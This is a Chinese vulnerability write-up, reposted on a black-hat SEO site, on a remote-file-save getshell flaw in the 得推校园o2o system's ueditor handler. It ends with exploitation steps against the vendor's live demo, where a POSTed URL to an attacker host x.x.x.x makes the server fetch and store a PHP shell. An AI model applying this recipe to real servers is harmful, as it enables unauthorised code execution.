黑帽SEO
免费发布泛目录 蜘蛛池 黑帽SEO工具

得推校园o2o系统前台getshell

  漏洞触发点在/source/index/ueditor.ctrl.php中第177行:

  public function onUeRemote(){ error_reporting(E_ERROR|E_WARNING); $dir=isset($_GET[‘dir’])?get(‘dir’,’h’).”/”:””; if(get(‘id’,’i’)){ $dir=”attach/$dir”.$this->dirId(get(‘id’,’i’)); umkdir($dir); }else{ $dir=”attach/$dir”.date(“Y/m/d/”); umkdir($dir); } $source=$_POST[‘source’]; $list=array(); if($source){ foreach ($source as $imgUrl) { $content=curl_get_contents($imgUrl); $img=$dir.”/”.basename($imgUrl); $img=str_replace(“http://”,”/”,$img); file_put_contents(ROOT_PATH.$img,$content); $this->upload_oss($img); array_push($list, array( 得推校园o2o系统前台getshell “state”=> ‘SUCCESS’, “url”=> images_site($img), “size”=> 1, “title”=> ” “, “original”=> $img, “source”=> htmlspecialchars($imgUrl) )); } } echo json_encode(array( ‘state’=> count($list) ? ‘SUCCESS’:’ERROR’, ‘list’=> $list )); }

  这是一个保存远程文件的函数,我们看一下该函数的功能实现,首先这里需要我们传入一个很重要的变量$_POST[‘sourse’]

  $source=$_POST[‘source’];

  然后我们看一下对这个我们可控的$_POST[‘sourse’]做了哪些操作,首先,将这个$sourse遍历了出来:

  foreach ($source as $imgUrl) { $content=curl_get_contents($imgUrl); $img=$dir.”/”.basename($imgUrl); $img=str_replace(“http://”,”/”,$img); file_put_contents(ROOT_PATH.$img,$content); $this->upload_oss($img);

  对其中每一个元素都做了curl_get_contents()操作,我们跟踪一下该函数,

  在/skymvc/function/function.php中第489行:

  function curl_get_contents($url,$timeout=30,$referer=”http://www.qq.com”){ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch,CURLOPT_USERAGENT,”Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9B176 MicroMessenger/4.3.2″); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_REFERER,$referer); //伪造来路页面 防止被禁止 $content=curl_exec($ch); curl_close($ch); return $content; }

  可以看到这是一个获取远程页面内容的函数。

  然后我们继续看,接下来对每一个元素做了一个basename()的操作。

  最重要的是这一行:

  file_put_contents(ROOT_PATH.$img,$content);

  这是一个写文件的操作,首先ROOT_PATH.$img是我们写的路径,而$content是我们写的内容。

  我们看一下路径的形成,也就是$Img的形成,恰好是basename()后的值。意味着后缀是我们可控的。

  而内容是网页的内容,也是我们可控的。后缀可控,内容可控,所以我们可以getshell。

  漏洞利用方式:

  我们首先要准备一个开启了web服务的远程服务器(IP地址为x.x.x.x)。然后创建一个php文件,我这里创建的是balisong.php,内容如下:

  

  其中这一串base64的明文是:

  

  然后我们开始去官方demo进行测试:

  首先我们要访问

  http://xyo2o.deitui.com/index.php?m=register

  然后注册一个账号登陆上,然后开始访问payload:

  http://xyo2o.deitui.com/index.php?m=ueditor&a=UeRemote

  POST:source[]=x.x.x.x/balisong.php

未经允许不得转载:黑帽SEO-实战SEO技术培训、泛目录站群、蜘蛛池、流量技术教程 » 得推校园o2o系统前台getshell
分享到: 更多 (0)

黑帽SEO-实战SEO技术培训、泛目录站群、蜘蛛池、流量技术教程

不做韭菜坚决不做韭菜